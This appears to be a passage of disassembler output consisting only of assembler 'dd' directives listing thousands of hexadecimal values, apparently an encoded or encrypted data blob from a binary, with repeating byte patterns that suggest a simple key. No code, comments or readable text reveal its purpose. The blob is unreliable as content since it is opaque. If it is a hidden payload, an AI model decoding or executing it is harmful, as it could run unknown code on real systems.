		dd 81D420B1h, 0CA50CD31h, 5266D688h, 5491FED7h,	53D07D0Fh
		dd 5CD952E9h, 0CA56AEB4h, 4D56ED3Ah, 21BFADA9h,	9856D5B1h
		dd 0BF9FA4FEh, 16DEFB56h, 4B7B8C61h, 59DD419Dh,	0B0D5652Dh
		dd 344E28B1h, 5DF53A5h,	3256DF58h, 681864B1h, 0D4C8E67Ch
		dd 0BB25C806h, 0B3594DF6h, 3256AEBBh, 32DE58D1h, 8256ABB1h
		dd 0CA06B4D5h, 0B2E5683Ah, 0B45973A9h, 3256BAB0h, 24AD64Dh
		dd 3256A358h, 0B05848B1h, 0BDB180Fh, 0A770761Ah, 0DB0E9EE0h
		dd 325675B6h, 0CF05F32Eh, 52349AF4h, 3256A758h,	65B380B1h
		dd 0E94F133Fh, 39BE83C0h, 0AB56EAB1h, 6B17A33Ah, 267F384Ah
		dd 0ECDCCB0Bh, 6DDFCFEAh, 0D9D737B9h, 6818902Ch, 32555ABEh
		dd 0C4D6EAB1h, 84BF14CFh, 0CE56BAB5h, 30AE1876h, 0CA56AEB1h
		dd 325DBFD1h, 0F2C4ABB1h, 7DE0602Fh, 5AE1C62Bh,	8BE92DCAh
		dd 537345B6h, 32565358h, 3DA3CEB1h, 0F537880Eh,	325753F4h
		dd 0B9AAD5B1h, 2A29EA0Bh, 21DC7AB7h, 0DB56BAB1h, 32565DBFh
		dd 2BC670EDh, 0F0E23CF2h, 0D0A821F2h, 0B0D5AB58h, 344E95B1h
		dd 0B05915A5h, 3256BAB3h, 53AE6E07h, 0BF599938h, 325657B0h
		dd 22112248h, 32423C44h, 0DA29EAB1h, 54CE54F3h,	4B53455Ah
		dd 81261925h, 34454DAEh, 0CAD5E278h, 72D3A4B2h,	0DB56D5B1h
		dd 3256EAA0h, 64EFDA99h, 0A3827131h, 9226E6FFh,	714456A1h
		dd 81D490EBh, 3050B331h, 5256D5B1h, 3D9455BEh, 0DB37830Eh
		dd 3256BA92h, 0E2E152D1h, 325F47D0h, 0D73357B1h, 2B349C4Ch
		dd 0B160857Ch, 0BF59E849h, 325677D4h, 325736BEh, 0B1AF5DB1h
		dd 3D5656CCh, 3256D835h, 3ADEA4B1h, 3D56D5B1h, 3256E838h
		dd 3D3715B1h, 0CE57FC07h, 3256DD18h, 1ED3A1B1h,	0CB5657B1h
		dd 0DAD552F1h, 32503CB4h, 0D5FAEAB1h, 0DBC29986h, 3256F358h
		dd 3247B4B1h, 0F1F8AEB1h, 0F1A89AB6h, 0DB20E7E6h, 5F95093Bh
		dd 1F8DA54Ch, 3256754Eh, 3256AB58h, 0E6E47CB1h,	7EFDAA4Fh
		dd 0A3694ADBh, 498D10B6h, 0DAD52897h, 3DD1E5B4h, 0DB5675B1h
		dd 3256BABBh, 18FB9270h, 63BD9E2Ch, 7CBF4AC3h, 3D56ABB1h
		dd 3256D236h, 33DAE5B1h, 0CB5675B1h, 35D5B5E2h,	3D565DB1h
		dd 3256AF38h, 0A8DDABB1h, 344E2B02h, 3256DE58h,	0BC2041B1h
		dd 6D1BAC18h, 0A7F31F44h, 5265593Ah, 325321BEh,	1BEE57B1h
		dd 0CB32F685h, 34BF8ED0h, 2656EAB1h, 6CFB8E83h,	32561390h
		dd 0B759DDB1h, 3256AE16h, 32565B58h, 0DD50FAB1h, 0AE9ED01Dh
		dd 2953C7h, 0DB907615h,	3256BABFh, 0F6210DC5h, 0F2EB7156h
		dd 67340C62h, 0F2D57F7Ch, 32593CB4h, 7EEEAB1h, 0D9E90CEFh
		dd 65748057h, 0DFFDAE84h, 81D4ADD7h, 0CB504F31h, 3D36CBF9h
		dd 3256D53Eh, 324603B1h, 12CC75B1h, 67E7EB79h, 0B527072Bh
		dd 0F416E238h, 0DA377857h, 3256ABBCh, 2E32B9E8h, 0EF820DB2h
		dd 3CA57792h, 293F01BFh, 530F37FCh, 0CA5EE938h,	3D5A1038h
		dd 3256AA36h, 6CBF2DB1h, 0CB56EAB3h, 3247F3BEh,	3EBFBAB1h
		dd 4A565DB1h, 405F2940h, 0E18B9354h, 0C5E9EC77h, 3FDEDA69h
		dd 0DB56EAB1h, 325675B9h, 0B2472AF7h, 8F0127CDh, 0DB90854Dh
		dd 325657A2h, 0AA92F16Eh, 58821BC2h, 9091EFE4h,	4A446280h
		dd 0C5056D83h, 325FB469h, 2457AEB1h, 0F3F1A240h, 0B1C18578h
		dd 3EBFD071h, 1356EAB1h
		dd 5CCB655Ah, 3D56998Ah, 3192781Dh, 2AD61D33h, 35D858B7h
		dd 5256ABB1h, 85995ED7h, 521E8B8Fh, 145B9630h, 883080B0h
		dd 0BB371719h, 0B559A6F6h, 325657B9h, 325428BEh, 5336D5B1h
		dd 525AAD38h, 32567858h, 675925B1h, 2A6760F9h, 84248E95h
		dd 0F8D7221Fh, 73F18B45h, 33C93CD0h, 0BA59EAB1h, 325675BFh
		dd 3256B358h, 0F58A33B1h, 4C580DE2h, 20BFF879h,	7C56ABB1h
		dd 0BD0441AEh, 83D6D62Eh, 8EBA6A67h, 59696D3Fh,	0C7966EE1h
		dd 3256BF58h, 32FE82B1h, 14143ABh, 817DF277h, 0ECE3DC59h
		dd 74DCEFBEh, 325F53B0h, 778A5DB1h, 0F3E88E31h,	0CB317033h
		dd 0B7592B19h, 3256D550h, 325E6CBEh, 0B85975B1h, 3256BAB3h
		dd 0F4553CD1h, 0F2D55648h, 20DA58B3h, 0DB56ABB1h, 3256D5BCh
		dd 7E0C18Dh, 0F40D0BDh,	0D332CCEh, 3257E658h, 0B336AEB1h
		dd 25AC9F58h, 0E95DCADDh, 326551BEh, 0B859EAB1h, 325675A0h
		dd 325D39BEh, 34BF5DB1h, 0FC56AEB1h, 99332D8Bh,	76CC21BEh
		dd 3D50C267h, 3256E135h, 32509CB1h, 503DBAB1h, 0B5B7B3B4h
		dd 0CA574D31h, 3D955448h, 32568B32h, 0C1D7B5B1h, 66AF12E4h
		dd 32566658h, 0EB4C49B1h, 475E3329h, 3020E926h,	0BA4647F9h
		dd 0A800BB7h, 3A115CD0h, 324D63BEh, 0B75975B1h,	3256BAA4h
		dd 32564D58h, 5DF20AB1h, 0B134A6DCh, 0DA51F3h, 8714A152h
		dd 3E1163F3h, 32566758h, 4D89E3B1h, 780BA169h, 45A92360h
		dd 3218436Ch, 0DB1FC1F1h, 3256D5D0h, 528E1D4Dh,	32567A58h
		dd 818047B1h, 0DAF88E14h, 6FABB5DAh, 5451C1F0h,	53EF4B31h
		dd 32562A94h, 33D3E5B1h, 0CE5675B1h, 0C5AE7C9Ah, 0B236A869h
		dd 0BA59EE50h, 325657B2h, 539014BEh, 0DB541532h, 3256EAB7h
		dd 738743EDh, 75DF1D33h, 33DF52B9h, 0CA56AEB1h,	0DB5A1038h
		dd 3256ABB4h, 0D19B7FE5h, 0BF591248h, 325675A7h, 3256AB58h
		dd 17010FB1h, 0C4256EACh, 4FE9AC25h, 370D17F6h,	0B3363E3Ch
		dd 4D89E359h, 0F8D713DDh, 53375706h, 3240D9BEh,	0BE59AEB1h
		dd 325657A1h, 3256A058h, 0F03F85B1h, 187C97h, 187FA5ECh
		dd 32573DBEh, 0FBAE5DB1h, 37BF6D49h, 2B5657B1h,	0AFECCE52h
		dd 93EDB5E4h, 3D515D16h, 32567737h, 53BA30B1h, 5436B13Ah
		dd 0F8C6D30h, 6C99D6D7h, 0F6D5CA08h, 325F3C4Dh,	0B009EAB1h
		dd 0DEE37914h, 520935A3h, 28EE3BD1h, 53051928h,	32565759h
		dd 0D8D7F1B1h, 344E69BAh, 3256EC58h, 0E82511B1h, 3D69611Eh
		dd 32565C3Ah, 21BF57B1h, 0B15657B1h, 0E0C4F31Fh, 28B9310Ah
		dd 4D4A8A2Ch, 0FBA6CDCEh, 88DD65BEh, 344E2308h,	324F21BEh
		dd 0B95957B1h, 3256ABA2h, 3256DB58h, 20A797B1h,	1E5546F3h
		dd 12D0505Fh, 130B8B5h,	8D59CE78h, 36D85860h, 5456ABB1h
		dd 530EEB0Eh, 325761BEh, 0B1AF75B1h, 0B659BA8Eh, 32565956h
		dd 3256BD58h, 75853BB1h, 86B34993h, 0F1C10425h,	686EC1CFh
		dd 504A00A6h, 3CBFBD3Ah, 7565DB1h, 4718AD44h, 7C81504Ch
		dd 0F6728790h, 3E232A83h, 0B0846BD1h, 544CC2FBh, 53A1BF0Bh
		dd 0CB5E284Eh, 0DAAA52E1h, 32565EA7h, 32532DBEh, 3D36D5B1h
		dd 39371406h, 6FD37A71h, 5256BAB1h, 3250D0BEh, 0B159AEB1h
		dd 325657B1h, 3256A459h, 0A062A9B1h, 0EDC70DC7h, 0E63F4F96h
		dd 82897E9Eh, 6986E2BEh, 0DB5125D0h, 325657A2h,	48F4ADABh
		dd 6B66AE8Ch, 0E78B5435h, 0EAF5B05Eh, 0DBF5DC91h, 32565DF5h
		dd 325C46D1h, 9D5157B1h, 802E39BFh, 7FBA6BB4h, 325661BEh
		dd 530875B1h, 52427D32h, 38BE9B3Ah, 5356AEB1h, 20634303h
		dd 0A2C193EFh, 6D0C87E9h, 0CD7703D0h, 0B3368A4Eh, 7B8F4571h
		dd 0DE8CDCD5h, 53055628h, 3DAA1238h, 3256AA31h,	0DB362CB1h
		dd 3256EAA5h, 19AB04A1h, 655E4A40h, 7ADB4D4Ah, 14BB874h
		dd 69ABB6F5h, 6CD01FE2h, 3E232AD0h, 31D0E5D1h, 545675B1h
		dd 3DBF493Ah, 18565DB1h, 9EE1FE85h, 0B351509Ch,	0CF32D030h
		dd 0CD379A51h, 3CBFE2C4h, 885675B1h, 4D3CDC58h,	99B1FD0Ch
		dd 473FD330h, 3D61A88Fh, 3256A730h, 34DDDAB1h, 3D56EAB1h
		dd 32567532h, 3A5652B1h, 0DB365DB1h, 3256AEA1h,	76A40E27h
		dd 85B8E8F7h, 7D1403DBh, 4DD2A247h, 538F8031h, 0B6597ABAh
		dd 32565D95h, 325724BEh, 0DBAF57B1h, 3256A8EAh,	3256C658h
		dd 7FA4B2B1h, 9F697CBBh, 0BB43A36Bh, 759EDB73h,	707119B0h
		dd 0CEAA123Ah, 0B059AC88h, 3256D686h, 3256FE58h, 0D87711B1h
		dd 8437A5Eh, 0C43090CEh, 0B1102A90h, 13A617F7h,	0CE13548Fh
		dd 36295649h, 15D2E5B1h, 0CB5675B1h, 325734BEh,	0B1AE5DB1h
		dd 3D56A2CEh, 32564235h, 325042B1h, 2DE3D5B1h, 4FCA8F44h
		dd 32563A58h, 0E6DCDAB1h, 0CDEE3C48h, 52A9514Eh, 3255D9BEh
		dd 8D59ABB1h, 37EFB46Eh, 5256EAB1h, 3254F9BEh, 0D8DCBAB1h
		dd 32565158h, 4BAB71B1h, 58560F6Dh, 0C640238h, 99A5B41Dh
		dd 0A7E98CD1h, 0E0BF145Ah, 3DA9454Fh, 32565A33h, 33DFA1B1h
		dd 0C75657B1h, 3746D432h, 321A51BEh, 0B159EAB1h, 325675A5h
		dd 325C53D1h, 58F85DB1h, 0E4E80146h, 641E3F8Fh,	538520D7h
		dd 3446AA32h, 32C06FBEh, 3FBF75B1h, 2256BAB1h, 0E09814D1h
		dd 676066AEh, 7B2793C8h, 75DD5EF0h, 6DDD2CB5h, 0F2EF8ABDh
		dd 531F9422h, 32577D58h, 75DDA5B1h, 20BF57B5h, 995657B1h
		dd 0CC68626h, 0BE574FD3h, 433912D2h, 0CC818233h, 3E093114h
		dd 0F2D73DD1h, 50970F8Ch, 23BE3644h, 8E56ABB1h,	0A3A7AF5Fh
		dd 2B996790h, 0C7944BC1h, 0C4F1BE1Bh, 32564D58h, 0E294DB1h
		dd 576BC351h, 0CD47A2E5h, 0D9543E9Ah, 0DB37B04Ah, 325674E6h
		dd 32503EBEh, 0B9365DB1h, 530CFC62h, 3254DABEh,	5336ABB1h
		dd 0DB52923Ah, 3256EABDh, 304A605Bh, 315987D7h,	1F96CAD9h
		dd 0CA5AF13Ah, 3D5E088Ah, 32560B34h, 8559B5B1h,	0CA048B46h
		dd 0DB52223Ah, 3256BABDh, 0EAC78BEAh, 607792FFh, 5F541ACBh
		dd 3D46FE9Ah, 3256CA3Ah, 2BD3E5B1h, 0DB5675B1h,	3256BAA5h
		dd 0DDBC7CD5h, 4D6CBB71h, 13A0317Ch, 74D5ED35h,	0C7725F1h
		dd 0DB42BFB2h, 325675A5h, 0AC6A09h, 0B0E06E0h, 4EA15FF9h
		dd 2DD0B2h, 0AB2E5459h,	0DB5A8A3Ah, 3256EABDh, 28FE3A85h
		dd 5F505531h, 0B0596B53h, 0B359749Ah, 325657A3h, 3256A658h
		dd 722C72B1h, 0F33C6295h, 0FBFA0607h, 0D9D5DDD2h, 0B3303DB4h
		dd 0CE9A497Eh, 0DBAF0DD0h, 3256ABEBh, 36115E49h, 3256E758h
		dd 89A4D3B1h, 725BE175h, 0BEEFF880h, 6DDD400Ah,	26D658BDh
		dd 0DB56ABB1h, 3256D5BEh, 0D7B65972h, 15F7BCFBh, 0A5C3CEADh
		dd 195156D6h, 0B1AEAAEEh, 35BF525Ah, 2D56ABB1h,	1223C6D9h
		dd 0B855D42Ch, 3444457Ch, 3256B358h, 502835B1h,	0DB62C7EBh
		dd 4DD51AD9h, 0B759A8A1h, 3256D5AEh, 325C0348h,	5DF675B1h
		dd 0AE6D7B58h, 95386CCAh, 3ADDA1F0h, 3D5657B1h,	3256A937h
		dd 1937B5B1h, 3FD2E568h, 0DB5675B1h, 3256BAB9h,	0B631D7F3h
		dd 0C4A3480Dh, 33570B38h, 324C21BEh, 0B959D5B1h, 3256EAA5h
		dd 32567A58h, 1F735DB1h, 0C9710BD7h, 2D8F1F1h, 0C3B88243h
		dd 0CDA95409h, 39D1DA4Eh, 5256EAB1h, 6561A330h,	0D4D6A6E7h
		dd 37EF3C9Ch, 0DB56AEB1h, 325657BDh, 62FCF26Fh,	0D66F69DCh
		dd 72EFCB34h, 3FBFDE42h, 0C256BAB1h, 0CEDB2158h, 2DEB491h
		dd 7F1E529Dh, 0CE69424Dh, 26BF2A4Eh, 756EAB1h, 4443515Ah
		dd 0C56DA871h, 0C6D202A7h, 52EEA17Dh, 53E24F10h, 1EE410D1h
		dd 0B330B927h, 536C2C76h
		dd 3ABE1578h, 356BAB1h,	0BB8CA037h, 3D183608h, 0B90F9D0Eh
		dd 2294CA66h, 0B159B5B1h, 3256EAB7h, 3256F9BEh,	0E2DDBAB1h
		dd 0B93608D0h, 34DBA166h, 3D5657B1h, 3256AB33h,	0DEDDB4B1h
		dd 0CE92694Dh, 34DD7AD1h, 3D56BAB1h, 32565D30h,	0E5DDC8B1h
		dd 543637D0h, 94B26830h, 3256D959h, 1F4D51B1h, 52C63A3Dh
		dd 2AA02578h, 3250B442h, 933FAEB1h, 0CE8D0976h,	32BECAEAh
		dd 6856D5B1h, 0F3A70030h, 0B25973A9h, 3256BAB9h, 3254D9BEh
		dd 5336AEB1h, 0EAE158D1h, 0B330CBD0h, 5349F85Eh, 4CEF503Ah
		dd 0B15973A9h, 3256BAADh, 32D452D1h, 0DA56AEB1h, 325657BFh
		dd 0B9E9722Ah, 1A67383Dh, 0D22D4FBh, 5309189Fh,	0B1A37382h
		dd 0B6595D8Eh, 3256ADC7h, 325EDCBEh, 3D36ABB1h,	85590C0Eh
		dd 35DD8B73h, 3E238A44h, 32573FBEh, 3DA35DB1h, 3256A630h
		dd 30DB58B1h, 5256ABB1h, 3A232AD0h, 3256E658h, 3ED10BB1h
		dd 26B338AEh, 1AAB0127h, 33D4A117h, 0CA5657B1h,	325A42E1h
		dd 0DC81D5B1h, 999B88D2h, 3E4B4CC6h, 0DBE61BCh,	0CB565DB2h
		dd 0B7596EBAh, 325657ABh, 325328BEh, 0CA36D5B1h, 0B937B5E0h
		dd 0E1DC15B6h, 53A505BEh, 32564C58h, 0F5D55BB1h, 33DA58A5h
		dd 0CB56ABB1h, 0CDA9BF58h, 77DF134Eh, 0CADD154Dh, 3256AE58h
		dd 5A75BEB1h, 8F399A06h, 0EEB8D1E1h, 1980CEF6h,	7CA088A1h
		dd 47A98BE3h, 47A98CBDh, 325953B9h, 2DC85DB1h, 0B817A795h
		dd 5EB7D215h, 122C2C7Dh, 0CB612A59h, 32542359h,	39AA89B1h
		dd 7D2B571h, 52565DB1h,	1EB52FD7h, 325ABF42h, 0ED62ABB1h
		dd 0B5A3C11h, 0A1DD6E25h, 0B9300F6Dh, 5237E570h, 0E5E152D1h
		dd 8FECC8D0h, 5DBF366Eh, 5256ABB3h, 54805ED7h, 53BD950Eh
		dd 52AA303Ah, 325A524Dh, 675DB1h, 6C9D5C27h, 790D8D06h
		dd 6CAA5C61h, 3D51ECD0h, 3254AF33h, 33DC7AB1h, 0CB56BAB1h
		dd 3DAA184Eh, 3256AF32h, 4DD5ABB1h, 0B659ABB5h,	3256D5FDh
		dd 325C63BEh, 37BF75B1h, 0CE56BAB1h, 98D7B354h,	325AD132h
		dd 3264D3BEh, 0DA36ABB1h, 3256D5B4h, 2A416D2Eh,	0BB8F4EBh
		dd 6D44F57Fh, 3245D9BEh, 3FBEAEB1h, 7E5657B1h, 76AFA990h
		dd 0B8225E76h, 215DA9C8h, 7CBF14EFh, 0C756BAB1h, 0CDA9A209h
		dd 27D1A14Eh, 0DB5657B1h, 3256ABA1h, 0D5974864h, 0BC25683h
		dd 3AA265FDh, 3CDB9CBAh, 32565808h, 64E1CEB1h, 3DFDA4D0h
		dd 3256AD3Dh, 8D30B5B1h, 0DB37B2A3h, 0CDA98B6Bh, 0CBDDDCD1h
		dd 5237983Bh, 76822EE2h, 0E9E158EBh, 222928D0h,	94D2DAB4h
		dd 5256EAB1h, 0E79BE30h, 0C8E0A72Fh, 2229DED0h,	8FD3A1B7h
		dd 3D5657B1h, 3256A336h, 30D7DAB1h, 5256EAB1h, 3EBF34D0h
		dd 4E56BAB1h, 74523602h, 0A2953FB2h, 0B9532EC5h, 0B159AFF6h
		dd 3256D581h, 324403D1h, 0E44F75B1h, 0CE7B7146h, 0D866CBF1h
		dd 6ECEA959h, 6312742Eh, 3256B958h, 3B552BB1h, 0E0F09257h
		dd 5D8A9D6h, 930920Ch, 53EC294Ah, 525AF13Ah, 32564759h
		dd 0A7E34B1h, 0B8892B00h, 806902C3h, 5A0E4123h,	32535323h
		dd 56A55DB1h, 697B3244h, 5391DCD7h, 32563058h, 0B459B5B1h
		dd 3256EAB3h, 43E65A03h, 361131D0h, 0F283DDD1h,	3E0925D0h
		dd 0DB37A2D1h, 3256ABC8h, 0F0E9DAD1h, 0DB379004h, 325675BDh
		dd 0B9F6CB4Ch, 0AAEE0A7Eh, 0F929E6B6h, 3D52103Ah, 3256A737h
		dd 8830B5B1h, 0BB596DBCh, 325675B1h, 3E0931D0h,	32564C58h
		dd 3A97AAB1h, 99B3747Fh, 6E77753Eh, 3C14DA47h, 6D7D88FEh
		dd 32469CB5h, 0B4E4BAB1h, 0C738B289h, 18FF7F5Fh, 31E9F640h
		dd 0D9D57AE9h, 8D59B5B4h, 0C2D78C79h, 0B1379607h, 3D55AACEh
		dd 32565934h, 0CA1757B1h, 0C78F7C49h, 3357F738h, 325A57BEh
		dd 0BA59EAB1h, 325675B7h, 32563ABEh, 20BF5DB1h,	9F56AEB1h
		dd 72BEDA01h, 383FC73h,	0DEB19E11h, 98CD6E95h, 0CDA9CDFBh
		dd 8BAF454Eh, 32565DB4h, 325224BEh, 613657B1h, 0BD59CAE8h
		dd 3256D5B0h, 0CAFD194Dh, 0CDAB4C58h, 5237464Eh, 0F145BA30h
		dd 0B559D9A8h, 325657B5h, 4A4B15D7h, 35BF1CD0h,	0C756EAB1h
		dd 3070C3CBh, 3A94E5A9h, 0DB03A5B1h, 3256AEB9h,	0CB21BCCFh
		dd 46311156h, 0B359393Ah, 3256EAABh, 23BE8DD1h,	1D56BAB1h
		dd 0A646F15Dh, 0D43F19Ch, 77975C68h, 0B52F7D22h, 0F6D5B4E9h
		dd 3258034Dh, 0A64575B1h, 0DF374C17h, 52856A45h, 44BDC183h
		dd 77DDA2D1h, 26BFCBB9h, 556D5B1h, 582AFA15h, 0EAFBD09Ch
		dd 0E04DD04Bh, 0F0A4CA3Bh, 0B9394410h, 37BF366Fh, 0C556ABB1h
		dd 0FFD8C734h, 3D5AAF8Ah, 32563233h, 776D46B1h,	0FD152A1h
		dd 0DB56AEB1h, 325657A0h, 0EBE6B23Eh, 7A5909C7h, 0AAF4C6C6h
		dd 30D29880h, 3AD6B50Fh, 3D565DB1h, 3256AC31h, 0F53737B1h
		dd 325657F4h, 35BFD5B1h, 0CF56EAB1h, 8B82064Fh,	4BF428Ch
		dd 0C7565DB1h, 33AAEB76h, 0DB5657B1h, 3256ABB8h, 73599EB9h
		dd 24C34761h, 324D9C9Ch, 0B459BAB1h, 32565DA4h,	3256BE58h
		dd 0F442C2B1h, 0A9B874F3h, 0D23123B5h, 0C7253FB8h, 0B9AE14E0h
		dd 0B35946F4h, 32565DBDh, 325027BEh, 0B55957B1h, 3256ABB1h
		dd 325A3C78h, 6C9EAB1h,	189EE686h, 0BA9DCE9Bh, 3E945E4Ah
		dd 35D6A1B1h, 3D5657B1h, 3256AA30h, 0C7032DB1h,	5236063Ah
		dd 3D378048h, 3256B83Fh, 53373DB1h, 0C7AA6A32h,	32BEAFD1h
		dd 6856ABB1h, 0F57B3F30h, 3BBFECA9h, 685675B1h,	0A8E63E9Ah
		dd 96D6F486h, 3256A858h, 55DF77B1h, 0CE436F6Ch,	1A31C82h
		dd 68018A6Ah, 3BB6380Fh, 6FDFDBCFh, 19EE3D4Dh, 53550B85h
		dd 4CEFED3Ah, 26BFADA9h, 6C56D5B1h, 0B01C5EC2h,	3BB1EB13h
		dd 38B48323h, 1BA36679h, 0B1BFFA34h, 0B659578Eh, 3256A9C2h
		dd 324F57BEh, 26BFEAB1h, 35675B1h, 0CB5A939Bh, 6E41B66Fh
		dd 0DA003F9Dh, 1B94FD52h, 0B12FB6E5h, 0B7592A8Eh, 3256EAF2h
		dd 72E51548h, 3256AB59h, 0AEF4D5B1h, 492AA1E1h,	9E51FB60h
		dd 0B954E06Ch, 530DBDD0h, 0CE422D32h, 0CDA9DF58h, 8B30DA4Eh
		dd 0BA59B89Bh, 3256AEA3h, 32565B59h, 217435B1h,	1E5D8B46h
		dd 670D8667h, 0B1372B3Dh, 3D56BECEh, 32560835h,	325D47B1h
		dd 47957B1h, 3A8BA803h,	1956CA2Bh, 3E29693Bh, 9D27AB1h
		dd 0DB56BAB1h, 32565DA5h, 12A6F745h, 11CE03FFh,	0DB83747Eh
		dd 531A0DDEh, 0E1013A5Ah, 32562558h, 25DAB5B1h,	0DB565DB1h
		dd 3256AEA3h, 1834F99Ch, 0CAEE1C4Dh, 84D244DBh,	965CFCC9h
		dd 77A9C5B4h, 3CDAB54Dh, 52565DB1h, 3256A958h, 0E73858B1h
		dd 46D672C3h, 269156D0h, 0CD5B0344h, 3CBF8A4Eh,	0DB56BAB1h
		dd 54486CBAh, 0A3F83470h, 0E0C3071h, 222928BCh,	43D2DAB4h
		dd 0CA56EAB1h, 34460A32h, 322C3FBEh, 0DBAA5DB1h, 3256AEBFh
		dd 3B3112ECh, 0BF9861A3h, 9F50FA97h, 3D171C4Ah,	32566C3Bh
		dd 21D3B5B1h, 0DB565DB1h, 3256AEBFh, 0DA592B12h, 7AD33E03h
		dd 92FC5C7Ch, 75DD1E7Bh, 0B9AA80B5h, 0B836B6EEh, 0AEE3E377h
		dd 0DB37AD17h, 32565722h, 324442D1h, 8F7CD5B1h,	2A6DA7CCh
		dd 8EE1154Fh, 591D7E1Ah, 97C38F6Dh, 539825D7h, 0C752103Ah
		dd 0C75AF43Ah, 32569758h, 0E5DC8AB1h, 53A1FED7h, 0CA52FD3Ah
		dd 0DB5A023Ah, 3256AEB8h, 0FE6F43B7h, 0E6D30293h, 3609FE8Ah
		dd 37BD694Dh, 3251F9BEh, 0B759BAB1h, 32565DB0h,	22292D49h
		dd 3AD358B2h, 0CB56ABB1h, 6206B5F0h, 1937B3EEh,	32459C68h
		dd 0A2F1BAB1h, 0B56E33F9h, 95A99327h, 105BAA7Ah, 4AE32B91h
		dd 35BFB5BEh, 0F856EAB1h
		dd 47F0C03Fh, 0BB377754h, 0DB575CEDh, 3256AEA3h, 0B88D2BDEh
		dd 0E27639B7h, 24EBF803h, 1DD988F4h, 3D36D138h,	3256BC3Ch
		dd 32DC52B1h, 5256AEB1h, 3256DFBEh, 53A3ABB1h, 0CDA96DD0h
		dd 20BF154Eh, 765675B1h, 8704D02Ah, 0C202FBE3h,	94C87DE4h
		dd 0F1436C19h, 325312C5h, 20BFD5B1h, 0DE56EAB1h, 0DD3BE01Bh
		dd 0C0CBB6BCh, 0C5B7E371h, 5320FA5Dh, 52FDA4DCh, 3DA81CBEh
		dd 0DB371306h, 0CDA9173Eh, 32567358h, 0A93E6DB1h, 53429BBFh
		dd 325128BEh, 0B85957B1h, 3256ABB0h, 0CE135E44h, 32576FBEh
		dd 0FBAF75B1h, 0B459794Dh, 32565DBAh, 3256A858h, 41DF93B1h
		dd 620478D8h, 54AE5ED1h, 63371A3Ah, 325D9CD1h, 0F960BAB1h
		dd 860A62C3h, 0DCA0137Ch, 6137AFFDh, 26DBA4D1h,	0DA56D5B1h
		dd 3256EABFh, 0CE18ED08h, 1134EBCAh, 9E486A68h,	0DB0E24FBh
		dd 325657A2h, 0ED91F398h, 0F722996Ch, 5A92C02Bh, 38F4C3EFh
		dd 535B3A39h, 3256B548h, 0B30CAEB1h, 2A9CD35Bh,	3CBF52B7h
		dd 0CE56D5B1h, 0E7280FFDh, 36EE0633h, 0F93E9D0Ch, 3244B44Dh
		dd 0A485AEB1h, 0D8D920E0h, 2A2D8E9Ch, 549CEF8Fh, 7CB69C44h
		dd 4D3EEF3Ch, 23BFBCA9h, 0C3565DB1h, 3A227FC2h,	6A30A03Ah
		dd 8BBF9CEBh, 49A6CF09h, 32568E09h, 25D27AB1h, 0DB56BAB1h
		dd 32565DA3h, 74A9B8E6h, 3C4B64B5h, 5A8A4221h, 27224997h
		dd 83BECB77h, 525675B5h, 0D2457830h, 53A31978h,	6236A53Ah
		dd 0BD90D6D7h, 0F3ECF060h, 53145F6Ah, 3CBF2B8Ah, 0F45675B1h
		dd 2A01958Ch, 0EB70522Bh, 7523966Dh, 32CBBE55h,	31A3ABB1h
		dd 0B336D1FAh, 575DE957h, 30D37A84h, 0B856BAB1h, 0F36D3C42h
		dd 32922CBEh, 543657B1h, 0CB661A0Fh, 221DD6D0h,	31D1E5D1h
		dd 3D5675B1h, 0DB366B0Eh, 32565DBEh, 7287E9A9h,	9C69A364h
		dd 6B20D72Dh, 0B9E0EFA3h, 9378B7Eh, 16D47A70h, 0DB56BAB1h
		dd 32565DB4h, 10538036h, 3270BE99h, 22BFABB1h, 6C56D5B1h
		dd 0A9EABE6h, 39FDF4E0h, 3F13392Ah, 0DBD4104Bh,	3256AE3Fh
		dd 32565058h, 860670B1h, 97216260h, 32569758h, 3EDC7AB1h
		dd 5256BAB1h, 3256D7BEh, 8B30AEB1h, 0BF379706h,	2B6BB42Bh
		dd 0E1A92DB7h, 3256FB58h, 8390D0B1h, 7911E88Dh,	0DCB1703Dh
		dd 26F7EAC2h, 3EBF55C3h, 3556ABB1h, 47EE7FC0h, 0A5C83876h
		dd 0DBDBB217h, 3256BA87h, 325ED0BEh, 0B336AEB1h, 77D8E072h
		dd 0A8DBCAE2h, 344F95F4h, 36D5E5D1h, 545675B1h,	0DB835C0Fh
		dd 32565DBFh, 0B07A7904h, 2551EA15h, 0AF9E2729h, 0CD37B0A7h
		dd 0DB0D1F62h, 325675A1h, 0B6937CC0h, 2AD20E2Bh, 0AA25CCB0h
		dd 6AB81D49h, 325342E8h, 0C955D5B1h, 6AE7CDCDh,	67AAB64Dh
		dd 3256AA58h, 30EBDCB1h, 0E73682CCh, 82ECD1A5h,	0B506CF81h
		dd 0DBBA5E0Fh, 3256EABDh, 5C8E444Ch, 0E96156F9h, 8DC52156h
		dd 3256AE59h, 0D8D70DB1h, 344E6736h, 32513C48h,	0B1A6EAB1h
		dd 929F9EF9h, 0DB364202h, 32565DA2h, 40EA3E0Ah,	2F75F6Bh
		dd 630B263Eh, 1D0E54BDh, 0BF14C3C9h, 2A291D0Bh,	6807DAB7h
		dd 25BCDB0Bh, 77DDCFA1h, 0B35937B9h, 3256ABB7h,	0DDFE0530h
		dd 0D2D7A5D4h, 69AB7570h, 0CB5133D0h, 525A183Ah, 0DBA519BEh
		dd 325657B9h, 3942A386h, 65CD303h, 361163D0h, 325AF0BEh
		dd 35BFBAB1h, 34565DB1h, 8FC3D47Bh, 77DD98FFh, 3EDBA4A1h
		dd 3D56D5B1h, 3256EC35h, 32D87AB1h, 0BB56BAB1h,	0B85951F6h
		dd 3256AEB0h, 2613DC4Dh, 22112244h, 90EDB3D1h, 0FF045297h
		dd 53370D2Eh, 529FDBD1h, 3B85DCD7h, 131B14C0h, 0F0375337h
		dd 21BFABA1h, 956D5B1h,	7E05E872h, 1A576B23h, 0BC9DF80Bh
		dd 24B9CD55h, 0C73661F6h, 2797D277h, 5211ADA3h,	53AF62BEh
		dd 2525F0D9h, 87A98D19h, 34448BB0h, 3257D8BEh, 0BFAAAEB1h
		dd 27D42D34h, 0E2A952B7h, 3256C658h, 0F30A30B1h, 0B3E09A81h
		dd 1A8E2113h, 0A2C2C88Ah, 0D2D0048Eh, 2ED858E3h, 5256ABB1h
		dd 3256C759h, 0FDB05B1h, 9027FAD5h, 0A008D69Ah,	82300259h
		dd 683CA57Dh, 0BF3736D1h, 2AD6723Bh, 8559B5B7h,	0F0E9E561h
		dd 3D3624D0h, 3256B93Eh, 0F0E152B1h, 5AA72FD7h,	0E2A936B2h
